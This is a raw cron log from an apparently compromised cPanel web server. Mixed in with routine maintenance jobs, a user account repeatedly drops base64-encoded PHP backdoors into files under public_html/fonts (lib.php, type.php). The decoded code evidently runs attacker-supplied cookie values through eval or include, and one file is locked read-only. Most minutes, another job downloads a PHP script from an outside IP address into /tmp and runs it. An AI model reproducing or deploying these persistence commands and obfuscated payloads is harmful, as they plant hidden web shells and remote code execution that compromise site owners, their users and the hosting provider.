Sep  5 03:07:01 ip-184-168-122-23 CROND[29877]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:08:01 ip-184-168-122-23 CROND[30045]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:08:01 ip-184-168-122-23 CROND[30048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:08:01 ip-184-168-122-23 CROND[30049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:08:01 ip-184-168-122-23 CROND[30050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:08:01 ip-184-168-122-23 CROND[30047]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:09:01 ip-184-168-122-23 CROND[30585]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:09:01 ip-184-168-122-23 CROND[30586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:09:01 ip-184-168-122-23 CROND[30587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:09:01 ip-184-168-122-23 CROND[30588]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  5 03:09:01 ip-184-168-122-23 CROND[30584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:10:01 ip-184-168-122-23 CROND[30702]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 03:10:01 ip-184-168-122-23 CROND[30705]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:10:01 ip-184-168-122-23 CROND[30707]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:10:01 ip-184-168-122-23 CROND[30712]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:10:01 ip-184-168-122-23 CROND[30709]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:10:01 ip-184-168-122-23 CROND[30710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:10:01 ip-184-168-122-23 CROND[30711]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:10:01 ip-184-168-122-23 CROND[30718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:11:01 ip-184-168-122-23 CROND[30796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:11:01 ip-184-168-122-23 CROND[30797]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:11:01 ip-184-168-122-23 CROND[30799]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:11:01 ip-184-168-122-23 CROND[30798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:12:01 ip-184-168-122-23 anacron[29238]: Job `cron.daily' started
Sep  5 03:12:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[30961]: starting logrotate
Sep  5 03:12:01 ip-184-168-122-23 CROND[30990]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:12:01 ip-184-168-122-23 CROND[30992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:12:01 ip-184-168-122-23 CROND[30994]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:12:01 ip-184-168-122-23 CROND[30991]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:12:01 ip-184-168-122-23 CROND[30993]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:12:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[31006]: finished logrotate
Sep  5 03:12:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[30961]: starting man-db.cron
Sep  5 03:12:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[31019]: finished man-db.cron
Sep  5 03:12:02 ip-184-168-122-23 anacron[29238]: Job `cron.daily' terminated
Sep  5 03:12:02 ip-184-168-122-23 anacron[29238]: Normal exit (1 job run)
Sep  5 03:13:01 ip-184-168-122-23 CROND[31096]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:13:01 ip-184-168-122-23 CROND[31098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:13:01 ip-184-168-122-23 CROND[31097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:13:01 ip-184-168-122-23 CROND[31099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:14:01 ip-184-168-122-23 CROND[31197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:14:01 ip-184-168-122-23 CROND[31199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:14:01 ip-184-168-122-23 CROND[31198]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:14:01 ip-184-168-122-23 CROND[31200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:14:01 ip-184-168-122-23 CROND[31201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:15:02 ip-184-168-122-23 CROND[31288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:15:02 ip-184-168-122-23 CROND[31290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:15:02 ip-184-168-122-23 CROND[31293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:15:02 ip-184-168-122-23 CROND[31294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:15:02 ip-184-168-122-23 CROND[31291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:15:02 ip-184-168-122-23 CROND[31296]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:16:01 ip-184-168-122-23 CROND[31387]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:16:01 ip-184-168-122-23 CROND[31388]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:16:01 ip-184-168-122-23 CROND[31390]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:16:01 ip-184-168-122-23 CROND[31393]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:16:01 ip-184-168-122-23 CROND[31391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:16:01 ip-184-168-122-23 CROND[31389]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 03:17:01 ip-184-168-122-23 CROND[31481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:17:01 ip-184-168-122-23 CROND[31483]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:17:01 ip-184-168-122-23 CROND[31484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:17:01 ip-184-168-122-23 CROND[31482]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:18:01 ip-184-168-122-23 CROND[31594]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:18:01 ip-184-168-122-23 CROND[31598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:18:01 ip-184-168-122-23 CROND[31596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:18:01 ip-184-168-122-23 CROND[31599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:18:01 ip-184-168-122-23 CROND[31597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:19:01 ip-184-168-122-23 CROND[31785]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:19:01 ip-184-168-122-23 CROND[31786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:19:01 ip-184-168-122-23 CROND[31787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
